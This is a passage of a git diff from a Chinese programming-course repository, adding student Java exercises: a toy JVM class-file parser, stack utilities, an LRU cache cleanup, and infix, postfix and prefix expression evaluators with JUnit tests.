+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	
+	
+	
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		return null;
+		
+	}
+}
diff --git a/group12/446031103/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group12/446031103/src/com/coderising/jvm/test/ClassFileloaderTest.java
index 26407abbef..a0cbf7a626 100644
--- a/group12/446031103/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group12/446031103/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -23,15 +23,16 @@ public class ClassFileloaderTest {
 	
 	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
 	
-	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-	static String path2 = "C:\temp";
+	//模拟windows中的path,path用;连接，要在这串path中寻找jvm
+	//static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	static String path1 = "E:\\mygit\\coding2017\\group12\\446031103\\bin";
+	static String path2 = "E:\temp";
 	
 	static ClassFile clzFile = null;
 	static {
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
+		String className = "com.coderising.jvm.test.EmployeeV1";		
 		clzFile = loader.loadClass(className);
 		clzFile.print();
 	}
diff --git a/group12/446031103/src/com/datastructure/linklist/LRUPageFrame.java b/group12/446031103/src/com/datastructure/linklist/LRUPageFrame.java
index cdb42d1fdd..00be77f3d0 100644
--- a/group12/446031103/src/com/datastructure/linklist/LRUPageFrame.java
+++ b/group12/446031103/src/com/datastructure/linklist/LRUPageFrame.java
@@ -165,150 +165,6 @@ public String toString(){
 		return buffer.toString();
 	}
 	
-	/*private static class Node {
-		
-		Node prev;
-		Node next;
-		int pageNum;
-
-		Node(Node prev,Node next,int pageNum) {
-			this.prev = prev;
-			this.next = next;
-			this.pageNum = pageNum;
-		}
-		Node(){
-			
-		}
-	}
-
-	private int capacity;
-	private int addCnt ;
-	private int size;
-	private Node first;// 链表头
-	private Node last;// 链表尾
-
-	
-	public LRUPageFrame(int capacity) {
-		
-		this.capacity = capacity;
-		first = new Node();
-	}
-
-	*//**
-	 * 获取缓存中对象
-	 * 
-	 * @param key
-	 * @return
-	 *//*
-	public void access(int pageNum) {
-		if(null==this.last){
-			this.last = new Node(this.first,null,pageNum);
-			this.first.next = this.last;
-			addCnt++;
-			size++;
-			return;
-		}
-		if(contain(pageNum)){
-			 if(Objects.equals(this.first.next.pageNum, pageNum)){
-				 return;
-			 }
-			 boolean temp = Objects.equals(getLastNode(size).pageNum, pageNum);
-			 Node currentNode = getNode(pageNum);
-			 Node nextNode = currentNode.next;
-			 Node preNode = currentNode.prev;
-			 
-			 currentNode.prev = this.first;
-			 currentNode.next = this.first.next;
-			 this.first.next = currentNode;
-			 
-			 if(temp){
-				 preNode.next = null;
-				 if(null==preNode.prev)
-					 preNode.prev = currentNode;
-			 }else{
-				 preNode.prev = currentNode;
-				 preNode.next = nextNode;
-				 nextNode.next = null;
-				 nextNode.prev = preNode;
-			 }
-			 this.last = getLastNode(size);
-			 return;
-		}
-		Node addNode = new Node(this.first,this.first.next,pageNum);
-		Node oldFirstnode=this.first.next ;
-		oldFirstnode.prev = addNode;
-		this.first.next = addNode;
-		if(isOut()){
-			
-			addCnt++;
-			if(this.size !=this.capacity )
-				size++;			
-			if(addCnt>size)
-				this.last.prev.next = null;
-			this.last = getLastNode(size);
-		}else{
-			this.last.prev.next = null;
-		}
-		
-	
-	}
 	
-	private boolean isOut(){
-		return this.addCnt<=this.capacity;
-	}
-	
-	private Node getLastNode(int sizes) {		
-		Node node=this.first;
-		for (int i = 0; i < sizes; i++) {
-			node = node.next;
-		}
-		return node;
-	}
-
-	private boolean contain(Object o){
-		Node node = this.first;
-		
-		while(null!=node.next){	
-			
-			node = node.next;
-			
-			if(Objects.equals(node.pageNum,o)){
-				return true;
-			}	
-			
-		}		
-		return false;		
-	}
-	
-	private Node getNode(Object o){
-		Node node = this.first;
-		
-		while(null!=node.next){	
-			
-			node = node.next;
-			
-			if(Objects.equals(node.pageNum,o)){
-				return node;
-			}	
-			
-		}
-		return null;
-	}
-	
-	
-	
-
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		Node node = first;
-		while(node.next != null){
-			node = node.next;
-			buffer.append(node.pageNum);
-			if(node.next != null){
-				buffer.append(",");
-			}
-		}
-		return buffer.toString();
-	}*/
 	
 }
\ No newline at end of file
diff --git a/group12/446031103/src/com/datastructure/stack/StackUtil.java b/group12/446031103/src/com/datastructure/stack/StackUtil.java
index 7cab99ede3..2d4040d25d 100644
--- a/group12/446031103/src/com/datastructure/stack/StackUtil.java
+++ b/group12/446031103/src/com/datastructure/stack/StackUtil.java
@@ -7,13 +7,40 @@ public class StackUtil {
 	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
 	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
 	 */
-	public static void reverse(Stack s) {
+	//错误,面向对象错误
+	/*public static void reverse(Stack s) {
 		Stack temp = new Stack();
 		while(!s.isEmpty()){
 			temp.push(s.pop());
 		}
 		s = temp;
+	}*/
+	public static void reverse(Stack s) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
+		
+		Stack tmp = new Stack();
+		while(!s.isEmpty()){
+			tmp.push(s.pop());
+		}
+		while(!tmp.isEmpty()){
+			Object top = tmp.pop();
+			addToBottom(s,top);
+		}	
+		
+		
+	}
+	public static void addToBottom(Stack s,  Object value){
+		if(s.isEmpty()){
+			s.push(value);
+		} else{
+			Object top = s.pop();
+			addToBottom(s,value);
+			s.push(top);
+		}
 	}
+	
 
 	/**
 	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
@@ -21,6 +48,9 @@ public static void reverse(Stack s) {
 	 * @param o
 	 */
 	public static void remove(Stack s,Object o) {
+		if(s == null || s.isEmpty()){
+			return;
+		}
 		Stack temp = new Stack();
 		while(!s.isEmpty()){
 			Object result=s.pop();
@@ -75,7 +105,7 @@ public static boolean isValidPairs(String s){
 				}
 			}
 		}else{
-			char result=c[clength/2+1];
+			char result=c[clength/2];
 			if(contain(result)){
 				return false;
 			};
@@ -83,7 +113,7 @@ public static boolean isValidPairs(String s){
 				if(i<clength/2){
 					temp1.push(c[i]);
 				}else{
-					if(i==clength/2-1){
+					if(i==clength/2){
 						continue;
 					}						
 					temp2.push(c[i]);
@@ -92,8 +122,21 @@ public static boolean isValidPairs(String s){
 		}
 		StackUtil.reverse(temp2);
 		while(!temp1.isEmpty()){
-			if(Objects.equals(temp1.pop(), temp2.pop())||contain(temp1.pop())||contain(temp2.pop())){
-				return false;
+			char a =(char) temp1.pop();
+			char b = (char) temp2.pop();
+			if(Objects.equals(a, '(')){
+				if(!Objects.equals(b, ')')){
+					return false;
+				}
+			}else if(Objects.equals(a, '[')){
+				if(!Objects.equals(b, ']')){
+					return false;
+				}
+				
+			}else if(Objects.equals(a, '{')){
+				if(!Objects.equals(b, '}')){
+					return false;
+				}
 			}
 		}
 		return true;
diff --git a/group12/446031103/src/com/datastructure/stack/StackUtilTest.java b/group12/446031103/src/com/datastructure/stack/StackUtilTest.java
new file mode 100644
index 0000000000..c7ed1ab9f3
--- /dev/null
+++ b/group12/446031103/src/com/datastructure/stack/StackUtilTest.java
@@ -0,0 +1,80 @@
+package com.datastructure.stack;
+
+
+
+import static org.junit.Assert.fail;
+
+import java.util.Stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+public class StackUtilTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testAddToBottom() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		
+		StackUtil.addToBottom(s, 0);
+		
+		Assert.assertEquals("[0, 1, 2, 3]", s.toString());
+		
+	}
+	@Test
+	public void testReverse() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
+		StackUtil.reverse(s);
+		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
+	}
+	
+	@Test
+	public void testRemove() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		StackUtil.remove(s, 2);
+		Assert.assertEquals("[1, 3]", s.toString());
+	}
+
+	@Test
+	public void testGetTop() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		{
+			Object[] values = StackUtil.getTop(s, 3);
+			Assert.assertEquals(5, values[0]);
+			Assert.assertEquals(4, values[1]);
+			Assert.assertEquals(3, values[2]);
+		}
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+	}
+
+}
diff --git a/group12/446031103/src/com/datastructure/stack/expr/InfixExpr.java b/group12/446031103/src/com/datastructure/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..503f050d29
--- /dev/null
+++ b/group12/446031103/src/com/datastructure/stack/expr/InfixExpr.java
@@ -0,0 +1,67 @@
+package com.datastructure.stack.expr;
+
+import java.util.Objects;
+import java.util.Stack;
+import java.lang.String;
+public class InfixExpr {
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {	
+		Stack<Character> sign = new Stack<Character>();
+		Stack<Float> number = new Stack<Float>();
+		int strCnt = 0;
+		int numberLen = 0;
+		String[] String = expr.split("[^\\d]");
+		if(expr!=null){
+			for (int i = 0,strLen = expr.length(); i < strLen; i++) {
+				char c=expr.charAt(i);
+				if(Objects.equals(c, '+')||Objects.equals(c, '-')){
+					sign.push(c);
+				}else if(Objects.equals(c, '*')||Objects.equals(c, '/')){
+					float number1=number.pop();
+					float number2=Float.parseFloat(String[strCnt]);
+					float result=calculate(number1,number2,c);
+					numberLen = String[strCnt].length();
+					number.push(result);
+					i += numberLen;
+					strCnt++;
+				}else{
+					number.push(Float.parseFloat(String[strCnt]));
+					numberLen = String[strCnt].length();
+					strCnt++;
+					i += (numberLen-1);
+				}
+			}
+			for (int i = 0,signS = sign.size(); i < signS; i++) {
+				float number1 = number.pop();
+				float number2 =number.pop();
+				char c = sign.pop();
+				float result=calculate(number2,number1,c);
+				number.push(result);
+			}
+		}
+		return number.pop();
+	}
+	
+	private float calculate(float number1,float number2,char c){
+		float result = 0;
+		if(Objects.equals(c, '+')){
+			result = number1 + number2;
+		}else if(Objects.equals(c, '-')){
+			result = number1 - number2;
+		}else if(Objects.equals(c, '*')){
+			result = number1 * number2;
+		}else if(Objects.equals(c, '/')){
+			result = number1 / number2;
+		}
+		return result;		
+	}
+	
+
+	
+	
+}
diff --git a/group12/446031103/src/com/datastructure/stack/expr/InfixExprTest.java b/group12/446031103/src/com/datastructure/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..1b64b3fcc7
--- /dev/null
+++ b/group12/446031103/src/com/datastructure/stack/expr/InfixExprTest.java
@@ -0,0 +1,51 @@
+package com.datastructure.stack.expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			float a =expr.evaluate();
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
diff --git a/group15/1507_977996067/src/task7/expr/InfixExpr.java b/group15/1507_977996067/src/task7/expr/InfixExpr.java
new file mode 100644
index 0000000000..1a18634382
--- /dev/null
+++ b/group15/1507_977996067/src/task7/expr/InfixExpr.java
@@ -0,0 +1,79 @@
+package task7.expr;
+
+import org.junit.Assert;
+import task5.stack.Stack;
+
+import java.util.Arrays;
+
+public class InfixExpr {
+
+    private String expr;
+
+    private Stack<Float> numberStack = new Stack<>();
+
+    private Stack<Float> resultStack = new Stack<>();
+
+    public InfixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+
+        Assert.assertNotNull(expr);
+
+        String[] operators = expr.split("[\\d]+");
+
+        int length = operators.length;
+
+        Arrays.stream(expr.split("[+\\-*/]+"))
+                .map(Float::parseFloat)
+                .forEach(numberStack::push);
+
+        numberStack = reverse(numberStack);
+
+        resultStack.push(numberStack.pop());
+
+        for (int i = 1; i < length; i++) {
+            String currentOperator = operators[i];
+//            先做乘除,结果放resultStack里面
+            switch (currentOperator) {
+                case "*":
+                    resultStack.push(resultStack.pop() * numberStack.pop());
+                    break;
+                case "/":
+                    resultStack.push(resultStack.pop() / numberStack.pop());
+                    break;
+                case "+":
+                    resultStack.push(numberStack.pop());
+                    break;
+                case "-":
+                    resultStack.push(numberStack.pop());
+                    break;
+            }
+        }
+
+        resultStack = reverse(resultStack);
+
+//        做加减
+        for (int i = 1; i < length; i++) {
+            String currentOperator = operators[i];
+            if ("+".equals(currentOperator)) {
+                Float num1 = resultStack.pop();
+                Float num2 = resultStack.pop();
+                resultStack.push(num1 + num2);
+            } else if ("-".equals(currentOperator)) {
+                Float num1 = resultStack.pop();
+                Float num2 = resultStack.pop();
+                resultStack.push(num1 - num2);
+            }
+        }
+        return resultStack.peek();
+    }
+
+    private Stack<Float> reverse(Stack<Float> stackToReverse) {
+        Stack<Float> temp = new Stack<>();
+        while (!stackToReverse.isEmpty())
+            temp.push(stackToReverse.pop());
+        return temp;
+    }
+}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task7/expr/InfixExprTest.java b/group15/1507_977996067/src/task7/expr/InfixExprTest.java
new file mode 100644
index 0000000000..f9eb14cbdf
--- /dev/null
+++ b/group15/1507_977996067/src/task7/expr/InfixExprTest.java
@@ -0,0 +1,56 @@
+package task7.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Arrays;
+
+public class InfixExprTest {
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+        //InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+        {
+            InfixExpr expr = new InfixExpr("2+3*4+5");
+            Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+        }
+        {
+            InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+            Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("3*20/2");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("20/2*3");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+        {
+            InfixExpr expr = new InfixExpr("10-30+50");
+            Assert.assertEquals(30, expr.evaluate(), 0.001f);
+        }
+
+    }
+
+    @Test
+    public void testExprSplit() {
+        String expr = "3*20+12*5-40/2";
+        Arrays.stream(expr.split("[+\\-*/]+")).forEach(System.out::println);
+        Arrays.stream(expr.split("[\\d]+")).forEach(System.out::println);
+    }
+
+}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task7/expr/PostfixExpr.java b/group15/1507_977996067/src/task7/expr/PostfixExpr.java
new file mode 100644
index 0000000000..369e52c203
--- /dev/null
+++ b/group15/1507_977996067/src/task7/expr/PostfixExpr.java
@@ -0,0 +1,45 @@
+package task7.expr;
+
+import task5.stack.Stack;
+
+import java.util.List;
+
+public class PostfixExpr {
+    private String expr = null;
+
+    private Stack<Float> numberStack = new Stack<>();
+
+    public PostfixExpr(String expr) {
+        this.expr = expr;
+    }
+
+    public float evaluate() {
+        List<Token> parse = new TokenParser().parse(expr);
+        for (int i = 0; i < parse.size(); i++) {
+            Token token = parse.get(i);
+//            后缀表达式:从左向右遍历 遇到操作数入栈,遇到操作符弹出操作数栈的两个数计算再入栈
+            if (token.isNumber())
+                numberStack.push((float) token.getIntValue());
+            else
+                numberStack.push(cal(token.toString(), numberStack.pop(), numberStack.pop()));
+        }
+        /*while (!operatorStack.isEmpty()) {
+            numberStack.push(cal(operatorStack.pop(), numberStack.pop(), numberStack.pop()));
+        }*/
+        return numberStack.peek();
+    }
+
+    private static float cal(String operator, float var1, float var2) {
+        switch (operator) {
+            case "+":
+                return var2 + var1;
+            case "-":
+                return var2 - var1;
+            case "*":
+                return var2 * var1;
+            case "/":
+                return var2 / var1;
+        }
+        return -1;
+    }
+}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task7/expr/PostfixExprTest.java b/group15/1507_977996067/src/task7/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..172d397011
--- /dev/null
+++ b/group15/1507_977996067/src/task7/expr/PostfixExprTest.java
@@ -0,0 +1,37 @@
+package task7.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class PostfixExprTest {
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+        {
+            PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+            Assert.assertEquals(288, expr.evaluate(), 0.0f);
+        }
+        {
+            //9+(3-1)*3+10/2
+            PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+            Assert.assertEquals(20, expr.evaluate(), 0.0f);
+        }
+
+        {
+            //10-2*3+50
+            PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+            Assert.assertEquals(54, expr.evaluate(), 0.0f);
+        }
+    }
+
+}
diff --git a/group15/1507_977996067/src/task7/expr/PrefixExpr.java b/group15/1507_977996067/src/task7/expr/PrefixExpr.java
new file mode 100644
index 0000000000..fe5cb137f0
--- /dev/null
+++ b/group15/1507_977996067/src/task7/expr/PrefixExpr.java
@@ -0,0 +1,47 @@
+package task7.expr;
+
+import task5.stack.Stack;
+
+import java.util.List;
+
+public class PrefixExpr {
+
+    private String expr;
+
+    private Stack<Float> numberStack = new Stack<>();
+
+    public PrefixExpr(String expr) {
+        this.expr = expr;
+
+    }
+
+    public float evaluate() {
+        List<Token> parse = new TokenParser().parse(expr);
+        for (int i = parse.size() - 1; i >= 0; i--) {
+            Token token = parse.get(i);
+//            前缀表达式:从右向左遍历 遇到操作数入栈,遇到操作符弹出操作数栈的两个数计算再入栈
+            if (token.isNumber())
+                numberStack.push((float) token.getIntValue());
+            else
+                numberStack.push(cal(token.toString(), numberStack.pop(), numberStack.pop()));
+        }
+        /*while (!operatorStack.isEmpty()) {
+            numberStack.push(cal(operatorStack.pop(), numberStack.pop(), numberStack.pop()));
+        }*/
+        return numberStack.peek();
+    }
+
+    private static float cal(String operator, float var1, float var2) {
+        switch (operator) {
+            case "+":
+                return var1 + var2;
+            case "-":
+                return var1 - var2;
+            case "*":
+                return var1 * var2;
+            case "/":
+                return var1 / var2;
+        }
+        return -1;
+    }
+}
diff --git a/group15/1507_977996067/src/task7/expr/PrefixExprTest.java b/group15/1507_977996067/src/task7/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..9ac8f9936f
--- /dev/null
+++ b/group15/1507_977996067/src/task7/expr/PrefixExprTest.java
@@ -0,0 +1,44 @@
+package task7.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class PrefixExprTest {
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testEvaluate() {
+        {
+            // 2*3+4*5
+            PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+            Assert.assertEquals(26, expr.evaluate(), 0.001f);
+        }
+        {
+            // 4*2 + 6+9*2/3 -8
+            PrefixExpr expr = new PrefixExpr("- + + 6 / * 2 9 3 * 4 2 8");
+            Assert.assertEquals(12, expr.evaluate(), 0.001f);
+        }
+        {
+            //(3+4)*5-6
+            PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+            Assert.assertEquals(29, expr.evaluate(), 0.001f);
+        }
+        {
+            //1+((2+3)*4)-5
+            PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+            Assert.assertEquals(16, expr.evaluate(), 0.001f);
+        }
+
+
+    }
+
+}
diff --git a/group15/1507_977996067/src/task7/expr/Token.java b/group15/1507_977996067/src/task7/expr/Token.java
new file mode 100644
index 0000000000..5ca7b1aef8
--- /dev/null
+++ b/group15/1507_977996067/src/task7/expr/Token.java
@@ -0,0 +1,53 @@
+package task7.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+public class Token {
+    public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+    private static final Map<String, Integer> priorities = new HashMap<>();
+
+    static {
+        priorities.put("+", 1);
+        priorities.put("-", 1);
+        priorities.put("*", 2);
+        priorities.put("/", 2);
+    }
+
+    static final int OPERATOR = 1;
+    static final int NUMBER = 2;
+    String value;
+    int type;
+
+    public Token(int type, String value) {
+        this.type = type;
+        this.value = value;
+    }
+
+    public boolean isNumber() {
+        return type == NUMBER;
+    }
+
+    public boolean isOperator() {
+        return type == OPERATOR;
+    }
+
+    public int getIntValue() {
+        return Integer.valueOf(value);
+    }
+
+    public String toString() {
+        return value;
+    }
+
+    public boolean hasHigherPriority(Token t) {
+        if (!this.isOperator() && !t.isOperator()) {
+            throw new RuntimeException("numbers can't compare priority");
+        }
+        return priorities.get(this.value) - priorities.get(t.value) > 0;
+    }
+
+
+}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task7/expr/TokenParser.java b/group15/1507_977996067/src/task7/expr/TokenParser.java
new file mode 100644
index 0000000000..45d75ffc12
--- /dev/null
+++ b/group15/1507_977996067/src/task7/expr/TokenParser.java
@@ -0,0 +1,57 @@
+package task7.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+
+
+    public List<Token> parse(String expr) {
+        List<Token> tokens = new ArrayList<>();
+
+        int i = 0;
+
+        while (i < expr.length()) {
+
+            char c = expr.charAt(i);
+
+            if (isOperator(c)) {
+
+                Token t = new Token(Token.OPERATOR, String.valueOf(c));
+                tokens.add(t);
+                i++;
+
+            } else if (Character.isDigit(c)) {
+
+                int nextOperatorIndex = indexOfNextOperator(i, expr);
+                String value = expr.substring(i, nextOperatorIndex);
+                Token t = new Token(Token.NUMBER, value);
+                tokens.add(t);
+                i = nextOperatorIndex;
+
+            } else {
+//                System.out.println("char :[" + c + "] is not number or operator,ignore");
+                i++;
+            }
+
+        }
+        return tokens;
+    }
+
+    private int indexOfNextOperator(int i, String expr) {
+
+        while (Character.isDigit(expr.charAt(i))) {
+            i++;
+            if (i == expr.length()) {
+                break;
+            }
+        }
+        return i;
+
+    }
+
+    private boolean isOperator(char c) {
+        String sc = String.valueOf(c);
+        return Token.OPERATORS.contains(sc);
+    }
+}
diff --git a/group15/1507_977996067/src/task7/jvm/attr/AttributeInfo.java b/group15/1507_977996067/src/task7/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..aba714c39b
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package task7.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group15/1507_977996067/src/task7/jvm/attr/CodeAttr.java b/group15/1507_977996067/src/task7/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..e3784bec44
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/attr/CodeAttr.java
@@ -0,0 +1,120 @@
+package task7.jvm.attr;
+
+
+import task7.jvm.clz.ClassFile;
+import task7.jvm.cmd.ByteCodeCommand;
+import task7.jvm.cmd.CommandParser;
+import task7.jvm.constant.ConstantPool;
+import task7.jvm.loader.ByteCodeIterator;
+
+public class CodeAttr extends AttributeInfo {
+    private int maxStack;
+    private int maxLocals;
+    private int codeLen;
+    private String code;
+
+    public String getCode() {
+        return code;
+    }
+
+    private ByteCodeCommand[] cmds;
+
+    public ByteCodeCommand[] getCmds() {
+        return cmds;
+    }
+
+    private LineNumberTable lineNumTable;
+    private LocalVariableTable localVarTable;
+    private StackMapTable stackMapTable;
+
+    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code /*ByteCodeCommand[] cmds*/) {
+        super(attrNameIndex, attrLen);
+        this.maxStack = maxStack;
+        this.maxLocals = maxLocals;
+        this.codeLen = codeLen;
+        this.code = code;
+        //this.cmds = cmds;
+    }
+
+    public void setLineNumberTable(LineNumberTable t) {
+        this.lineNumTable = t;
+    }
+
+    public void setLocalVariableTable(LocalVariableTable t) {
+        this.localVarTable = t;
+    }
+
+    public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter) {
+
+        int attrNameIndex = iter.next2Bytes();
+        int attrLen = iter.next4Bytes();
+        int maxStack = iter.next2Bytes();
+        int maxLocals = iter.next2Bytes();
+        int codeLen = iter.next4Bytes();
+
+        String code = iter.nextUxToHexString(codeLen);
+
+        System.out.println(code);
+
+        ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
+
+        CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code);
+
+        int exceptionTableLen = iter.next2Bytes();
+        //TODO 处理exception
+        if (exceptionTableLen > 0) {
+            String exTable = iter.nextUxToHexString(exceptionTableLen);
+            System.out.println("Encountered exception table , just ignore it :" + exTable);
+
+        }
+
+
+        int subAttrCount = iter.next2Bytes();
+
+        for (int x = 1; x <= subAttrCount; x++) {
+            int subAttrIndex = iter.next2Bytes();
+            String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
+
+            //已经向前移动了U2, 现在退回去。
+            iter.back(2);
+            //line item table
+            if (AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)) {
+
+                LineNumberTable t = LineNumberTable.parse(iter);
+                codeAttr.setLineNumberTable(t);
+            } else if (AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)) {
+                LocalVariableTable t = LocalVariableTable.parse(iter);
+                codeAttr.setLocalVariableTable(t);
+            } else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)) {
+                StackMapTable t = StackMapTable.parse(iter);
+                codeAttr.setStackMapTable(t);
+            } else {
+                throw new RuntimeException("Need code to process " + subAttrName);
+            }
+
+
+        }
+
+        return codeAttr;
+    }
+
+
+    public String toString(ConstantPool pool) {
+        StringBuilder buffer = new StringBuilder();
+        buffer.append("Code:").append(code).append("\n");
+        for (int i = 0; i < cmds.length; i++) {
+            buffer.append(cmds[i].toString(pool)).append("\n");
+        }
+        buffer.append("\n");
+        buffer.append(this.lineNumTable.toString());
+        buffer.append(this.localVarTable.toString(pool));
+        return buffer.toString();
+    }
+
+    private void setStackMapTable(StackMapTable t) {
+        this.stackMapTable = t;
+
+    }
+
+
+}
diff --git a/group15/1507_977996067/src/task7/jvm/attr/LineNumberTable.java b/group15/1507_977996067/src/task7/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..ebaec852b9
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/attr/LineNumberTable.java
@@ -0,0 +1,72 @@
+package task7.jvm.attr;
+
+import task7.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class LineNumberTable extends AttributeInfo {
+    List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+
+    private static class LineNumberItem {
+        int startPC;
+        int lineNum;
+
+        public int getStartPC() {
+            return startPC;
+        }
+
+        public void setStartPC(int startPC) {
+            this.startPC = startPC;
+        }
+
+        public int getLineNum() {
+            return lineNum;
+        }
+
+        public void setLineNum(int lineNum) {
+            this.lineNum = lineNum;
+        }
+    }
+
+    public void addLineNumberItem(LineNumberItem item) {
+        this.items.add(item);
+    }
+
+    public LineNumberTable(int attrNameIndex, int attrLen) {
+        super(attrNameIndex, attrLen);
